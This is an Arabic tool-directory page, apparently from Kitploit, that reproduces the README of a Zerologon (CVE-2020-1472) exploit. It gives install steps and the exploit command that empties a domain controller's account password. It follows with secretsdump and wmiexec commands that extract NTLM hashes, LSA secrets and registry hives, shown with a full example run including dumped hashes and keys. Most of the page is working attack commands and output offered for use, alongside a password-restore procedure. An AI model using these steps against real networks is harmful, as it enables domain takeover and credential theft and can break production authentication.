Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/voidsec/cve-2020-1472
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاختبار الاختراق
GitHubvoidsec/cve-2020-1472

CVE-2020-1472

كود استغلال لـ CVE-2020-1472 المعروف بـ Zerologon

عرض المستودعالموقع الإلكتروني
396632منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-1472

كود الفحص والاستغلال لـ CVE-2020-1472 المعروف بـ Zerologon

يختبر ما إذا كان وحدة التحكم بالنطاق (Domain Controller) معرضة لهجمات Zerologon، وإذا كانت معرضة، يقوم بإعادة تعيين كلمة مرور حساب وحدة التحكم بالنطاق إلى سلسلة فارغة.

ملاحظة: من المحتمل أن يؤدي هذا إلى تعطيل الأمور في بيئات الإنتاج (مثل وظائف DNS، الاتصال مع وحدات التحكم بالنطاق المكررة، إلخ)؛ عندها لن تتمكن أجهزة العميل من المصادقة إلى النطاق بعد الآن، ولا يمكن إعادة مزامنتها إلا من خلال إجراء يدوي. إذا كنت تريد معرفة المزيد عن كيفية تسبب هجوم Zerologon في تعطيل الأمور، فبفضل الأعمال الرائعة لـ @_dirkjan، يمكنك قراءتها هنا

البحث الأصلي والورقة البيضاء لـ Zerologon بواسطة Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon

asciicast

الاستغلال

سيحاول تنفيذ تجاوز المصادقة لـ Netlogon. عندما تكون وحدة التحكم بالنطاق مصححة، سيتخلى برنامج الكشف عن المحاولة بعد إرسال 2000 زوج من استدعاءات RPC، مستنتجًا أن الهدف ليس معرضًا (مع فرصة خطأ سلبي بنسبة 0.04%).

سيكون الاستغلال ناجحًا فقط إذا استخدمت وحدة التحكم بالنطاق كلمة المرور المخزنة في Active Directory للتحقق من محاولة تسجيل الدخول، بدلاً من المخزنة محليًا، حيث أنه عند تغيير كلمة المرور بهذه الطريقة، يتم تغييرها فقط في AD. النظام المستهدف نفسه سيظل يخزن كلمة مروره الأصلية محليًا.

التثبيت

يتطلب Python 3.7 أو أعلى، virtualenv، pip ونسخة معدلة من مكتبة Impacket: nrpc.py (/impacket/dcerpc/v5) أحدث إصدار من Impacket من GitHub مع إضافة هياكل netlogon.

1. تثبيت Impacket كالتالي:

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. root@kitploit:~
    pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. تثبيت برنامج استغلال Zerologon كالتالي:

  1. root@kitploit:~
    ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

تشغيل البرنامج النصي

يمكن استخدام البرنامج النصي لاستهداف وحدة تحكم بالنطاق (DC) أو وحدة تحكم احتياطية. من المحتمل أن يعمل أيضًا ضد وحدة تحكم للقراءة فقط، ولكن لم يتم اختبار ذلك بعد. يجب أن يكون اسم DC هو اسم الكمبيوتر NetBIOS الخاص به. إذا لم يكن هذا الاسم صحيحًا، فمن المحتمل أن يفشل البرنامج النصي مع خطأ STATUS_INVALID_COMPUTER_NAME. إذا كان لديك وحدة تحكم بالنطاق باسم EXAMPLE-DC وعنوان IP 1.2.3.4، قم بتشغيل البرنامج النصي كالتالي:

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

من المفترض أن يؤدي تشغيل البرنامج النصي إلى إعادة تعيين كلمة مرور حساب وحدة التحكم بالنطاق إلى سلسلة فارغة.

في هذه المرحلة، يجب أن تكون قادرًا على تشغيل secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR الخاص بـ Impacket (بدلاً من ذلك، يمكنك استخدام التجزئة الفارغة: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0) والذي سيقوم باستخراج بيانات NTDS.DIT فقط (تجزئات NTLM ومفاتيح Kerberos).

وهذا يجب أن يمنحك صلاحيات مسؤول النطاق. WIN WIN WIN

مثال على التشغيل

root@kitploit:~
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

استعادة كلمة المرور

إعادة تثبيت تجزئة كلمة المرور الأصلية ضرورية لاستمرار عمل DC بشكل طبيعي.

بعد الحصول على صلاحيات مسؤول النطاق، يمكنك استخدام wmiexec.py للاتصال بـ DC المستهدف باستخدام بيانات اعتماد تم الحصول عليها من secretsdump وتنفيذ الخطوات التالية:

root@kitploit:~
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

قم بتشغيل: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

ومن المفترض أن يظهر لك التجزئة NT الأصلية لحساب الجهاز. يمكنك بعد ذلك إعادة تثبيت تجزئة حساب الجهاز الأصلية في النطاق باستخدام البرنامج النصي reinstall_original_pw.py المقدم هنا. في بعض الأحيان، يلزم أكثر من تشغيل واحد قبل أن ينجح.

root@kitploit:~
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

بدلاً من ذلك، يمكنك استخدام عملية الاستعادة التالية.

تنزيل الأداة